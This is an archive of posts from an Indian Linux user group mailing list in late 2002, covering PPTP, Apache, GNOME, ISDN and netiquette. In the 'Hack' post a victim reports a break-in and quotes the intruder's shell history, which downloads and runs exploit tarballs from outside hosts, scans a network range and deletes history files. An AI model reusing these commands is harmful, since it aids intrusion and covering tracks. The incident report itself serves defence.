hi i am vamsi ,project associate from iiit allahabad,india. i have a Dlink DMI-128ESU ISDN (External) TA, which i want to configure it on linux.can u tell me the way out to do this.i have to enable mlppp and not ppp for which the init string is AT%A2=6 ,i have use this AT command for configuring the modem.please kindly tell me a solution. vamsi __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com

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"Linux 7.1"
by Satya 29 Nov '02

29 Nov '02

I'm a member of another LUG. On the LUG mailing list, someone made the mistake of referring to "Linux 7.1". Here is Eric Ortega's reply: On Nov 28, 2002 at 13:18, Eric Ortega wrote: >You actually, unless you have a time machine, do not have a copy of Linux >7.1. You have a copy of Redhat 7.1, which is a completely different ball >of wax than just the Linux kernel. Note that Debian is around version 2 or >something, Mandrake is at 9 or thereabouts, and the kernel hackers are >banging around on Linux 2.5. > >Confusing the kernel with the rest of the distribution is an easy mistake >to make in the beginning but it's like dragging your fingernails down >a chalkboard to people who know a little bit more. It's in your best >interest to clarify the difference in your own mind if you hope to present >yourself as anything more than a wholly helpless (and therefore not worth >the effort) newbie. Once you square that small thing away will you have >already opened up many more avenues for help. :) He also requests that the last sentence be changed to: Once you square that small thing away you will have already opened up many more avenues for help. :) But I can't do that. :-P -- Satya. <URL:http://satya.virtualave.net/> I need a job! Perl, Apache, Linux, C. http://www-scf.usc.edu/~phanse/resume.pdf Cap'n! Cap'n! the UART's will'nae take the speed!

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Re: PPTP on Linux
by Ashish Kulkarni 29 Nov '02

29 Nov '02

Ninad: hello? you send a 500kb attachment to a mailing list? assuming there are 200 people on this list, that's a bandwidth of 100MB wasted!! Do you like wasting resources this way? If you ever post to a mailing list, you post URLs to a uploaded file, or send it directly to person involved. Even a attachment of more than ~10kb is generally frowned upon in mailing lists. I sincerely hope you brush up on your netiquette. - Ashish.

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Fw: Re: [ILUG-BOM] 23 ppls registered callin for more.....linux-lunacy
by Trevor Warren 29 Nov '02

29 Nov '02

On Mon, 25 Nov 2002 19:33:02 +0530 "Amol Hatwar" <rollacosta(a)phreaker.net> wrote: > > > > Hello Luggers.... > > > > http://mlasia.mine.nu/ilug/showwho.php > > > > 17pple and calling for more.... > > > Roll me in! [snip] Pls sign up dear. The url is as stated above. Just remove the showwho.php. Also...call all of those to-be lugger who wanna have fun and learn too..:) Bye for now. Trevor > > Amol Hatwar -- ( >- GNU/LINUX, It's all about CHOICE -< ) /~\ __ http://www.qmailtheeasyway.com __ /~\ | \) / mailto: trevor.w(a)media.mit.edu \ (/ | |_|_ \ Research Asst, MediaLab / _|_| \___________________________________/ _______________________________________________ http://mm.ilug-bom.org.in/mailman/listinfo/linuxers -- ( >- GNU/LINUX, It's all about CHOICE -< ) /~\ __ http://www.qmailtheeasyway.com __ /~\ | \) / mailto: trevor.w(a)media.mit.edu \ (/ | |_|_ \ Research Asst, MediaLab / _|_| \___________________________________/

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Re: [ILUG-BOM] Re: computer books for sale !!
by akshaysalkar 29 Nov '02

29 Nov '02

well i can assure u mister that u cant get the books for above a 20% discount at computer book shops. any ways ... just selling some books off my shelf. adios. -- linuxers(a)mm.ilug-bom.org.in wrote: akshaysalkar writes: > Does any 1 want Computer/Linux Books at a discounted rate (ie. 20%-25% >approx. off the normal price) What do you mean by "normal" price? If you mean the printed price then this is a joke indeed. You get 20%-25% discount on the MRP directly on cash payments at shops like Compter Bookshops - on NEW books. > Books in good condition. Some books are brand new. huh? quasi _______________________________________________ http://mm.ilug-bom.org.in/mailman/listinfo/linuxers Get Your Private, Free E-mail from Indiatimes at http://email.indiatimes.com Buy Music, Video, CD-ROM, Audio-Books and Music Accessories from http://www.planetm.co.in Change the way you talk. Indiatimes presents Valufon, Your PC to Phone service with clear voice at rates far less than the normal ISD rates. Go to http://www.valufon.indiatimes.com. Choose your plan. BUY NOW.

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mailing strategies by Tom Christiansen on clpm
by Sameer D. Sahasrabuddhe 28 Nov '02

28 Nov '02

This used to posted frequently on comp.lang.per.misc for obvious reasons - The following message will be posted periodically until observed clue-levels in these parts improve, or until the heat death of the Universe arrives. EXECUTIVE SUMMARY: To send better messages, please trim and summarize what you're replying to, and integrate your quoted text with the body of your message. Don't just put everything at the end. This isn't Jeopardy. People expect question-and-answer, not answer-and-question responses. LONG STORY: Wouldn't you like to make your messages easier for others to read and understand? If so, I have some news posting tips for you. If not, just ignore this. (Of course, if you don't want your messages easier to read and understand, it's not clear why you bother to send them in the first place. :-) I'm going to take a bit of time to explain this, because newcomers to Usenet often lack the cultural background were I to send a superbrief message. Here's the issue: you appear to have quoted the entire message to which you were replying. Worst of all, you have done so by merely appending the complete message at the bottom. Folks are used to reading the original material first, then the follow-up. That's why it's called a "follow-up", you know. :-) If all you want to do is forward a copy of the message, that's one thing, but here you seem to have just blindly pasted the complete old message at the end without providing any content. This is neither a proper public followup nor even a decent private reply. Here's why. First of all, this is massive overkill -- you're supposed to trim your quoted text to only what you're replying to. Otherwise you'll probably violate the netiquette target quoting percentage of 50%. See below. This isn't really an issue of space (I know that a few bytes here and there mean less today than 20 years go), so much as it is of integrating your comments with the old material for continuity. Second, putting everything at the bottom does little good. It doesn't provide the proper context. It's far too late. When you reply to someone's content, the reason you quote the previous message is so that you can provide some degree of contextual continuity. The best way to do this is to interleave what you're quoting with your responses to that particular piece. That means that you should provide a quoted portion, then address what the points therein, then another quoted section, etc. For example, here's how followup replies *should* look if you'd like them to be more effective. > Joe said we should eat noodles. But I don't like noodles. They are a pain to prepare -- remember that what started this thread was how to cook using only a microwave, not real cooking -- and they provide you with very little sustenance in the long run. It's like eating cardboard, nutritionally speaking. > He also suggests adding anchovies. What is this fish fetish? Not all of us like the little minnows with the lingering briny taste swimming around our mouths for the next few hours or days. Can you imagine this on a date? Iccccch! Notice how in the text above, alternate quoted passages are interleaved with new response text. Notice also that the new text far exceeds the old text. This is the way it should be. Here's an excerpt from RFC 1855, which explains why this is bad. You can read the whole RCS at http://www.faqs.org/rfcs/rfc1855.html - If you are sending a reply to a message or a posting be sure you summarize the original at the top of the message, or include just enough text of the original to give a context. This will make sure readers understand when they start to read your response. Since NetNews, especially, is proliferated by distributing the postings from one host to another, it is possible to see a response to a message before seeing the original. Giving context helps everyone. But do not include the entire original! If you are receiving this message in response to a news posting, please understand that all modern newsreaders provide a mechanism to fetch the parent article, so it is seldom necessary to quote the whole thing. Sometimes even mail readers provide this, depending on the mail headers and the list archival mechanism on your own system. Here's a section from the essential netiquette guide, "A Primer on How to Work With the Usenet Community", which is available in news.announce.newusers. Perhaps your service provider neglected to point you at this newsgroup before you got swallowed up by all of Usenet. It's not only a good read; it's critical to understanding the culture you're now moving in. Summarize What You are Following Up. When you are following up someone's article, please summarize the parts of the article to which you are responding. This allows readers to appreciate your comments rather than trying to remember what the original article said. It is also possible for your response to get to some sites before the original article. Summarization is best done by including appropriate quotes from the original article. Do not include the entire article since it will irritate the people who have already seen it. Even if you are responding to the entire article, summarize only the major points you are discussing. It's even more annoying when people needlessly quote the original's automatic trailing matter, like signatures, adverts, or disclaimers. Please don't do that. I'm honestly not trying to annoy you! I'm just trying to give tips about what works well in electronic messages, and what doesn't. This used to be standard fare before one got a Usenet account, but now something seems to be lost. -- MTech Student, Reconfigurable Computing Lab, KReSIT, IIT-Bombay. ---------------------------------------------------------------------- For there are moments when one can neither think nor feel. And if one can neither think nor feel, she thought, where is one? -- Virginia Woolf, "To the Lighthouse" [Quoted in "VMS Internals and Data Structures", V4.4, when referring to powerfail recovery.]

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Re: pptp vpn
by Ninad Purohit 28 Nov '02

28 Nov '02

hi i had the same problem the ppp-mppe module u r trying to install doesnot work with this kernel(compiled with gcc 3.2 on rh 8.0) instead search for this srpm ppp-2.4.1-demand_script-0.4-3mppe.src.rpm i have this srpm and i had infact mailed it on this list but my mail got caught in red-tape do rpmbuild --rebuild ppp-2.4.1-demand_script-0.4-3mppe.src.rpm then install the rpm created in /usr/src/redhat/RPMS/i386/ then install pptpd then install pptp-linux edit /etc/ppp/pap-secrets add this line <your username> * <your password> * save the file then edit /etc/sysconfig/network-scripts/ifcfg-eth0 and change the gateway field to 0.0.0.0 or if it doesnot exist add the line GATEWAY='0.0.0.0' save it restart network then save this command as a script in ur /bin directory /sbin/modprobe -v ppp pptp 172.16.9.1 debug noauth user <username> +pap noauth mppe-40 mppe-128 mppe-stateless defaultroute give ifconfig u should see ip addresses for pp0,eth0 and lo if so u r done enjoy the net ===== ninad purohit have a nice day :-) ________________________________________________________________________ Missed your favourite TV serial last night? Try the new, Yahoo! TV. visit http://in.tv.yahoo.com

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Desktop shortcuts and Menu Item for GNOME
by kshitijv 28 Nov '02

28 Nov '02

Hi, I am not able to create Desktop shortcuts and Menu item in GNOME. I discovered that for both KDE and GNOME, its an accepted standard to have .desktop files to represent shortcuts. File contains group and name-value pairs like: [Desktop Entry] Name= Type= Comment= I created few files for KDE and all of them worked fine. But on GNOME I am not able to run them. My concern is to provide shortcuts to HTML files. I tried to create file like: [Desktop Entry] Name=MyLink Type=Link URL=file:/home/kshitij/myApp.html Icon=/usr/share/icons/html.xpm Terminal=false MultipleArgs=false Comment=Simple HTML File link It simply doesn't work. The icon is created on Desktop but can't be executed. Although it works absolutely fine on KDE. I can create Application links in GNOME i.e. Type=Application Exec=<executable-name> This works but Links do not work. Can anybody help me? -Kshitij kshitijv e-mail: kshitijv(a)forindia.com

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Help to query X !!
by Akhilesh S Shirbhate 28 Nov '02

28 Nov '02

After the previous quick responses... I have one more small query again! Now , I want to query the X servers.. See.. what I have to do is this: I have a deamon running... Now I give it some username It first checks if the user is presntly logged in... (either on tty or on pts ). Then I determine the delay for which the user was idle on the terminals on which he has logged in... Currently , I am doing this for tty and pts only. Now, I pop up a window on the terminal(tty ; using ncurses) on which the user is logged on and has least idle time (similar to write command's working). My deamon also has the property to popup GUI windows on X screens. But now, I have this problem : How do I determine if the user is presently logged on X ? And if he is , which DISPLAY is he using ??? Is there something like utmp (which works for tty and pts records )... for X ? I want to determine if the user has least idle time on X or on tty/pts .. I wrote the code for tty.. but what abt X ??? Please guide me.. Thanx in advance ! -- ********************************************************** * Never say die unless you are dead ! * * .oooO * * ( ) Oooo. Only those who will risk going too far * * \ ( ( ) Can possibly find out how far one can go!* * \_) ) / * * (_/ http://www.it.iitb.ac.in/~akhilesh/ * **********************************************************

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Help me !!!!!
by Akhilesh S Shirbhate 28 Nov '02

28 Nov '02

I wrote this code: void main() { execl("/usr/X11R6/bin/xclock","-display :0",NULL); sleep(10); } Now I 'xhost +' ! (To disable the access control) Now compile it and then run it! If you run it from a xterm window... The clock runs ... But if I run it from a tty.. ie the text terminal... it says "Error: Can't open Display" What is the problem ??? I want a simple program .. which must be able to exec a xclock on desktop ':0' ... when I run the program from text terminal (tty) logged in as root ! Thanks in advance !!!! -- ********************************************************** * Never say die unless you are dead ! * * .oooO * * ( ) Oooo. Only those who will risk going too far * * \ ( ( ) Can possibly find out how far one can go!* * \_) ) / * * (_/ http://www.it.iitb.ac.in/~akhilesh/ * **********************************************************

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Tervor's letter!
by Amol Hatwar 28 Nov '02

28 Nov '02

Trevor, Letter ka kya hua bhai? If you guys are interested in a more formal letter... here's something bana-banaya: http://www.symonds.net/~fsug-kochi/mass-memo.html Regards, -ah.

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Addition of Referer Log Modules In Apache
by Jaishankar Krishnan Iyer 28 Nov '02

28 Nov '02

Hi, I have recompiled the Apache 1.3.20 to add the referer log modules of on our web server. ./httpd -l results Compiled-in modules: http_core.c mod_env.c mod_log_config.c mod_log_agent.c mod_log_referer.c mod_mime.c mod_negotiation.c mod_status.c mod_include.c mod_autoindex.c mod_dir.c mod_cgi.c mod_asis.c mod_imap.c mod_actions.c mod_userdir.c mod_alias.c mod_rewrite.c mod_access.c mod_auth.c mod_setenvif.c mod_php4.c mod_dav.c suexec: disabled; invalid wrapper /usr/local/apache/bin/suexec I have also enabled the log format under httpd.conf with the result the logs files are referer_log file is created under /logs. The problem now is, this log file referer_log does not get updated when this server URL link is accessed from other Servers/Programs. Would appreciate if somebody can give pointers to this about what is missing. Let me know if any more details are required. Thanks and Rgds Jaishankar jkiyer67(a)rediffmail.com

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Addition of Referer Log Modules In Apache
by Jaishankar Krishnan Iyer 28 Nov '02

28 Nov '02

Hi, I have recompiled the Apache 1.3.20 to add the referer log modules of on our web server. ./httpd -l results Compiled-in modules: http_core.c mod_env.c mod_log_config.c mod_log_agent.c mod_log_referer.c mod_mime.c mod_negotiation.c mod_status.c mod_include.c mod_autoindex.c mod_dir.c mod_cgi.c mod_asis.c mod_imap.c mod_actions.c mod_userdir.c mod_alias.c mod_rewrite.c mod_access.c mod_auth.c mod_setenvif.c mod_php4.c mod_dav.c suexec: disabled; invalid wrapper /usr/local/apache/bin/suexec I have also enabled the log format under httpd.conf with the result the logs files are referer_log file is created under /logs. The problem now is, this log file referer_log does not get updated when this server URL link is accessed from other Servers/Programs. Would appreciate if somebody can give pointers to this about what is missing. Let me know if any more details are required. Thanks and Rgds Jaishankar jkiyer67(a)rediffmail.com

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Mozilla 1.2 is out. Go grabbit!
by Tahir Hashmi 28 Nov '02

28 Nov '02

Hi all! Mozilla 1.2 is out and here's the hot stuff: - Xft is now available in the stable branch (it rocks!) - "Type Ahead Find" enables you to search for text a la vi and jump to links w/o using mouse - Document Prefetching is now enabled Tip: Galeon users should set the MOZILLA_FIVE_HOME environment variable to the install-dir of Mozilla 1.2 for AA rendering in Galeon too. I haven't had any issues so far (~ 30 mins). -- Tahir Hashmi (VSE, NCST) http://staff.ncst.ernet.in/tahir tahir AT ncst DOT ernet DOT in We, the rest of humanity, wish GNU luck and Godspeed

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Re: [ILUG-BOM] Redhat 8 CD's
by slash_axl_rose_upen 27 Nov '02

27 Nov '02

hi glenn if u want RH 8 buy from linuxplaza.org who r cheaper than indiainfotech.org and guarantee of replacement --------------------------------- Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now

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[OT]New to ILUG-BOM
by Natarajan V 27 Nov '02

27 Nov '02

Hi, I am Natarajan, and have come to Mumbai recently. One of the first things that I did was to subscribe to iLUG-BOM. I was and still a member of iLug Chennai. I would like to attend the meetings of ILUG-BOM. It would be nice if someone could throw some light on how to reach the place and such details... ( I am completely new to Mumbai, and Hindi is one of my weakpoints.). I would also like to know the general activities and strategy of the group. Is it something like ilug-chennai, which is completely free for all, or does it have a slight commercial tilt .. or something..... Thanks for the info. Regards Natarajan

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Network Speed Problem 10Mbps?
by Zaheer Khan 27 Nov '02

27 Nov '02

hi folks Well having problem with the network speed on linux 7.3, i get 70% packed loss on the local network. at the same time this machine also (dual boot) runs win2k pro and i dont have a problem with the network on windows. In windows network its 10Mbps/half duplex..and i checked in linux with mii-tool...its 10Mbps/half duplex only...any suggestions...?? NIC is realtek based 8139 Thanks in advance ZK -- Zaheer S. Khan Network Administrator Intelecorp Software (I) Pvt. Ltd. 501, Casablanca, Sec-11 CBD, Belapur Ph: +91 22 7580369 Telefax: +91 22 7580369 "The greatest RISK in life is to take NONE" --

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[OT] - Freelance Project - CGI/Perl
by Kapil Karekar 27 Nov '02

27 Nov '02

Hi Luggers ...:-) I have a project which is to be done using CGI/Perl. I am looking out for a good Perl programmer. You can also consider this as the first project for the Developer Network that is coming up :-)) If you can complete the project send me a mail at: kapil_karekar [at] vsnl [dot] net Include the number of days that you would require to complete the project and examples of your previous works(URLs) in the mail. Project Description: I need a Listings Management program for Real Estate web sites. The program should provide an interface for website visitors to browse and search realty listings and provide a powerful password protected administration tool that can add, modify and delete realty listings and listing images. HTML templates should be used so that the interface can be changed in a simple manner. Happy Linuxing :-)) Kapil Karekar --------------------------------------- Let's build a Free Software Economy. ---------------------------------------

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computer books for sale !!
by akshaysalkar 27 Nov '02

27 Nov '02

Does any 1 want Computer/Linux Books at a discounted rate (ie. 20%-25% approx. off the normal price) Books in good condition. Some books are brand new. (Costs after Discount) 1) Teach yourself HTML4 in 24 hours - Oliver/Holshwag Rs. 80 - Techmedia 2) Mastering Foxpro 2.5 Special Edition - Siegel - Rs. 225 - BPB 3) ObjectOriented Software Engineering - Haladay - Rs. 150 4) Teach yourself UML in 24 hours - Schmuler - Rs. 113 5) Java Software Solutions - Lewis - Rs. 260 6) Understanding Pointers in C - Kanetkar - Rs. 113 7) Write TSR's now - Ras - Rs. 75 8) Problems in General Physics - Irodov - Rs. 113 9) Programming Perl 3/e - Wall - Rs. 450 10) Professional Linux Programming - Mathews - Rs. 410 11) Using Linux - Gunter - Rs. 270 anybody wanting any of the above books plz. contact me at email : akshaysalkar(a)indiatimes.com or telephone on 2052404. (plz. leave msg./name/telephone if i am not there) akshay. Get Your Private, Free E-mail from Indiatimes at http://email.indiatimes.com Buy Music, Video, CD-ROM, Audio-Books and Music Accessories from http://www.planetm.co.in Change the way you talk. Indiatimes presents Valufon, Your PC to Phone service with clear voice at rates far less than the normal ISD rates. Go to http://www.valufon.indiatimes.com. Choose your plan. BUY NOW.

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IMAP server with virtual hosting.
by Amish Munshi 27 Nov '02

27 Nov '02

Hi, I forgot to mention, which IMAP server is best for virtual hosting with qmail? I would prefer a one that is more difficult to configure rather than a one which has few security bugs. Thanks. Bye.

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Re: [ILUG-BOM] NEED 'NET SEND' FOR LINUX !
by Nikhil Kale 27 Nov '02

27 Nov '02

you can take a look at gipmsg http://gipmsg.sourceforge.net/ HTH, Nikhil Nikhil Kale Software Engineer. Mahindra British Telecom Ltd. NikhilKale(a)linuxmail.org NikhilKale(a)indiatimes.com ----- Original Message ----- From: Akhilesh S Shirbhate <akhilesh(a)it.iitb.ac.in> Date: Wed, 27 Nov 2002 05:03:16 +0530 To: linuxers(a)mm.ilug-bom.org.in Subject: [ILUG-BOM] NEED 'NET SEND' FOR LINUX ! > Hey guys, > anything like this on the net (with code) ??? > Its urgent ! Please help me out ! > What I need is a messaging system like the net-send utility in wondows > which will work on linux systems. There should be a deamon which on > reception of a message from a client will show the message as a pop up > screen if the user is logged in a GUI window manager. In case the > intended user for the message is logged into the text terminal, the > message should go to the terminal which was most recently used. There > will be a client program which will allow entering a message for the > destined user. The client program should be commandline based but will > also have GUI interface to be used if the user is logged into a > graphical window manager. It will also allow to save a directory of > destination users containing the IP address, machine name and login > names in a configuration file. If a message reaches a destination, the > destination should be able to respond to those messages. > > -- > ********************************************************** > * Never say die unless you are dead ! * > * .oooO * > * ( ) Oooo. Only those who will risk going too far * > * \ ( ( ) Can possibly find out how far one can go!* > * \_) ) / * > * (_/ http://www.it.iitb.ac.in/~akhilesh/ * > ********************************************************** > > > > > _______________________________________________ > http://mm.ilug-bom.org.in/mailman/listinfo/linuxers > > -- ______________________________________________ http://www.linuxmail.org/ Now with POP3/IMAP access for only US$19.95/yr Powered by Outblaze

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NEED 'NET SEND' FOR LINUX !
by Akhilesh S Shirbhate 27 Nov '02

27 Nov '02

Hey guys, anything like this on the net (with code) ??? Its urgent ! Please help me out ! What I need is a messaging system like the net-send utility in wondows which will work on linux systems. There should be a deamon which on reception of a message from a client will show the message as a pop up screen if the user is logged in a GUI window manager. In case the intended user for the message is logged into the text terminal, the message should go to the terminal which was most recently used. There will be a client program which will allow entering a message for the destined user. The client program should be commandline based but will also have GUI interface to be used if the user is logged into a graphical window manager. It will also allow to save a directory of destination users containing the IP address, machine name and login names in a configuration file. If a message reaches a destination, the destination should be able to respond to those messages. -- ********************************************************** * Never say die unless you are dead ! * * .oooO * * ( ) Oooo. Only those who will risk going too far * * \ ( ( ) Can possibly find out how far one can go!* * \_) ) / * * (_/ http://www.it.iitb.ac.in/~akhilesh/ * **********************************************************

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regarding basics of linux networking
by alex pereira 27 Nov '02

27 Nov '02

I am just starting on linux and would like to know if anybody can conduct or suggest a small workshop on linux to configure dhcp dns squid and sendmail. thank you Alex _________________________________________________________________ Add photos to your e-mail with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail

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Meeting date
by Amish K. Munshi 27 Nov '02

27 Nov '02

Hi, Any points to be covered in the next meeting guys? And is 8th a proper date. Bye.

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Computer Books for Sale !
by akshaysalkar 27 Nov '02

27 Nov '02

Does any 1 want Computer/Linux Books at a discounted rate (ie. 20%-25% approx. off the normal price) Books in good condition. Some books are brand new. (Costs after Discount) 1) Teach yourself HTML4 in 24 hours - Oliver/Holshwag Rs. 80 - Techmedia 2) Mastering Foxpro 2.5 Special Edition - Siegel - Rs. 225 - BPB 3) ObjectOriented Software Engineering - Haladay - Rs. 150 4) Teach yourself UML in 24 hours - Schmuler - Rs. 113 5) Java Software Solutions - Lewis - Rs. 260 6) Understanding Pointers in C - Kanetkar - Rs. 113 7) Write TSR's now - Ras - Rs. 75 8) Problems in General Physics - Irodov - Rs. 113 9) Programming Perl 3/e - Wall - Rs. 450 10) Professional Linux Programming - Mathews - Rs. 410 11) Using Linux - Gunter - Rs. 270 anybody wanting any of the above books plz. contact me at email : akshaysalkar(a)indiatimes.com or telephone on 22052404. (plz. leave msg./name/telephone if i am not there) akshay. Get Your Private, Free E-mail from Indiatimes at http://email.indiatimes.com Buy Music, Video, CD-ROM, Audio-Books and Music Accessories from http://www.planetm.co.in

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Unsubscribed...automatically !!!
by Sumukh Sirmokadam 27 Nov '02

27 Nov '02

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hardware-motherboard
by slash_axl_rose(upen) 27 Nov '02

27 Nov '02

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(no subject)
by vinayak_hegde＠softhome.net 26 Nov '02

26 Nov '02

Hello linuxers, Dr Nagarjuna had posted this URL sometime ago http://www.symonds.net/~fsug-kochi/mass-memo.html There's a dicussion that started on slashdot regarding the memo. As usual, most of the posts on slashdot regarding this are insightful and interesting. Heres's the URL http://yro.slashdot.org/yro/02/11/26/0230258.shtml?tid=109 ************** Vinayak Hegde APGDST Student NCST-Juhu **************

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Re: [ILUG-BOM] Installing & configuring ZOPE
by The Linuxer 26 Nov '02

26 Nov '02

Dear Dr. Nagarjuna Sir, I did check whether Zope was already running using the 'ps aux' command. But Zope was not in that list of processes running on the PC. So please guide me as to how can I install & run the Z Server. With regards, Bhaskar Ghose. Microsoft is not the answer. Microsoft is the question. NO (or Linux) is the answer. ~thelinuxer(a)hotmail.com~ _________________________________________________________________ Add photos to your messages with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail

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Re:[OT] New to ILUG-BOM
by Natarajan V 26 Nov '02

26 Nov '02

Hi Kishore!, Thanks for spending Rs 2.00 by replying to my mail :P. As of the guidelines to the venues, I wasnt able to find any links in the website. That was the reason why I made the post. I heard that B'lore LUG is aided by commercial organizations, has a bank account of its own, and so on... Being new to Mumbai LUG, I was curious to know about that. After finding some time to go through some of the message archives, I do understand that Mumbai LUG is a bit similar to Chennai LUG. It would be nice, if you could give me the link/directions of the venue, and if possible including the train/bus routes etc... Cheers Natarajan kishor bhagwat wrote: >did you read the mailing list contract when you signed up? >i dont know abt ilug-chennai, but here you are charged for >every mail you send on the LUG.This goes towards >maintaining the mail server.The first 5 mails are free, >after that you pay 1Re per mail.Cash left after paying for >the site hosting is blown up at the LUG meets for pizzas >and drinks. >You will receive a monthly statement of your dues. >We also charge 2% of your first month's salary for jobs you >get through ads on this mailing list.posting of job ads is >free. >For every professional services contract you get through >the LUG mailing list you will have to contribute 2 boxes of >debian cds to the LUG. >Over and above all this, the LUG Core Commitee might impose >a fine for every blazingly nonsensical, irrelevant and/or >MS-supporting mails. > >Welcome to the real world! > >regds, >Kishor >PS: the directions to the meeting place are on the site...

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Open source Vs Free software (Kerberos 5)
by vinayak_hegde＠softhome.net 26 Nov '02

26 Nov '02

hi linuxers, This is a paragraph from the latest issue of network magazine (international edition) <quote> Microsoft added its own proprietary authorization data-the list of Security IDs (SIDs) that are associated with an authenticated user within each ticket-to tickets within its implementation of Kerberos 5. Kerberos uses principles, or structured names, for authorization, but left room in RFC1510 for vendor-based extensions, such as the one Microsoft designed. While this extension is not terribly useful on Unix systems participating in a domain, Microsoft's refusal to share the details of the extensions means that mixed Kerberos domains must use a Windows 2000 DC, instead of a Unix KDC that an organization might prefer. Microsoft's secret extensions are the second reason Microsoft chose to use an open source security protocol. </quote> Here is the link to the full aricle http://www.networkmagazine.com/article/printableArticle?doc_id=NMG20021104S0 007 What worries me is that as in the case above M$ badmouths open source/ free software and uses it when it is to their advantage. As in the case above, the open source concept weakens the free software philosophy. Also another point which struck me in the above paragraph was that M$/ propriety vendors can use open source to their advantage by developing their extensions and use open source code in their applications. GPL (copylefting) takes care of this by requiring extensions/modifiactions to be turned back into the community. Open source has none of this "restrictions" (the programmer himself has chosen to use open source code so, actually they are not restrictions). What M$ managed to do is that people having mixed kerberos domains (which is usually the case in corporates/large organisations) "are forced" to use windows KDC which is wrong. Also if there are some security flaws, one cannot fix them leaving the windows KDC open to attacks. ************** Vinayak Hegde APGDST Student NCST-Juhu **************

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Turning syntax highlighting on in ViM editor.
by The Linuxer 25 Nov '02

25 Nov '02

Hi, Can anybody please tell me how to turn on Syntax highlighting (for C & C++ programs) in the ViM editor? I use SuSE Linux 8.0 Thanx in advance. B.Ghose. ======== Microsoft is not the answer. Microsoft is the question. No (or GNU/Linux) is the answer. ~thelinuxer(a)hotmail.com~ _________________________________________________________________ MSN 8 with e-mail virus protection service: 2 months FREE* http://join.msn.com/?page=features/virus

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Can someone sell this to Bollywood then...
by Frederick Noronha 25 Nov '02

25 Nov '02

------------------------------------------------------------------ DESKTOPLINUX: FILM GIMP--LIGHTS, CAMERA, LINUX! "Film Gimp is a popular open source tool in feature motion pictures. It has been used in Scooby-Doo, Harry Potter, Stuart Little, and other films. Robin Rowe answers some questions about the progress of Film Gimp and other projects..." COMPLETE STORY: http://www.desktoplinux.com/articles/AT7096363910.html ------------------------------------------------------------------ Courtesy: LinuxTodayNews

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Hack
by mails＠munshi.dyndns.org 25 Nov '02

25 Nov '02

Hello, Well, I have been hacked and my /var/log/messages has next to nothing in it. I am keen on getting to this person who did it. Fortunely I have not lost a lot any important data. But first the proof that I have been hacked. /var/log/messages (This is the first line) Nov 18 02:22:53 munshi userdel[8048]: delete user `ftp' Nov 18 02:22:53 munshi userdel[8048]: remove group `ftp' Nov 18 06:24:41 munshi ddclient[23392]: WARNING: cannot connect to checkip.dyn$Nov 18 06:32:21 munshi ddclient[23392]: WARNING: cannot connect to checkip.dyn$Nov 18 06:40:01 munshi ddclient[23392]: WARNING: cannot connect to checkip.dyn$ The part after 6:24 is proper, but my net wasnt working at that time (this is a normal thing and I do not susspect the hacker to do this, it is a normal thing and happens almost everyday, I get loggedout from my servers, the network is up but I cant access the internet also other from the outside world cant access my PC), so there are warning messages by my automatic IP updater from 6:24 onwards. What I am amazed is that after an entry at 2:22am there is an entry at 6:24, so someone has definately hacked and deleted the middle section, he probably left the upper part just to misguide us. The .bas* were deleted, but unfortunately for the hacker the .bash_histrory has some important data there, cd /dev/ida/.sys/trojan wget www.geocities.com/master0n/bestwu.tgz tar zxvf bestwu.tgz cd aw make ./awu 24.132 cd .. lsd ls rm -rf aw bestwu.tgz ls wget www.geocities.com/dont_haxer/b.tgz tar zxvf b.tgz rm -rf b.tgz cd .b ./bash ./bash cd /root rm -rf .bas* After that is what I had been doing. So that is the last entry. So my .bash_profile has been deleted and that is how I came to know that something i wrong, I have not rebooted my system as yet, and do not thing it is necessary. There are a few other things that amaze me here are 1. First is the time 2:22am to 6:24am is free where as there should have been entries from ddclient, a program that I am running. 2. The /dev/ida/.sys directory should exist since that is where the above commands have been run and there is no command that is deleting that directory in .bash_history. 3. netstat -a, ps ax are not working since the required libraries are not present, so I cant check which ports are open. The error given by netstat -a is bash# netstat -a sh: error in loading shared libraries: libtermcap.so.2: cannot open shared object file: Error 23 cat: error in loading shared libraries: libc.so.6: cannot open shared object file: Error 23 egrep: error in loading shared libraries: libc.so.6: cannot open shared object file: Error 23 cat: /root/.net: Too many open files in system bash# ps ax sh: error in loading shared libraries: libtermcap.so.2: cannot open shared object file: Error 23 egrep: error in loading shared libraries: libc.so.6: cannot open shared object file: Error 23 cat: /root/.pstmp: Too many open files in system cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory cat: /root/.pstmp: No such file or directory top is working fine but does not show me any problems 4. wget was downloading mandrake for me, it should have got disconnected since my net wasnt working, but it is still continuing to download the ISO's for me. Also another amazing thing is that wget was downloading 2nd ISO when I logged in and just downloaded 114MB of it and switchedover to 3rd ISO. INFO Working on RH6.2, full installation. telnet was off, ssh is not there, ddclient may have opened a few ports that I may have not noticed, I just downloaded and installed ddclient just two days back, but it is a perl script, I have not yet gone through that script as yet. Please help me to find the person who did this. Thanks in advance. Bye.

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squid and NIS
by slash_axl_rose_upen 25 Nov '02

25 Nov '02

Hi i hav 2 ques for all u 1.>which is most famous proxy server linux servers use?why most isps choose squid??? 2>what is NIS and what is its equivalent in windows??? --------------------------------- Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now

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Re: [ILUG-BOM] Mail server?
by Ashok Iyer 25 Nov '02

25 Nov '02

Hi Amish, > I am going live with a complete webhosting and domain name >providing >service. I need to know which is the best mail server for this >purpose. I have worked both with sendmail and qmail and have a few live imstallations of both. My experience tells me that you can safely go with qmail. Remember though, that qmail does not serialize mail. It sends mail on the wire as aoon as it is received. So if you need to serialize your mails, maybe postfix is a better choice- I guess it does this. For virtual hosting in sendmail, maybe the vhost package does what you want but I am not sure. google for it. qmail+OpenLDAP rocks for me. -- ashok

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Re: [ILUG-BOM] Installing & configuring ZOPE
by Baishampayan Ghose 25 Nov '02

25 Nov '02

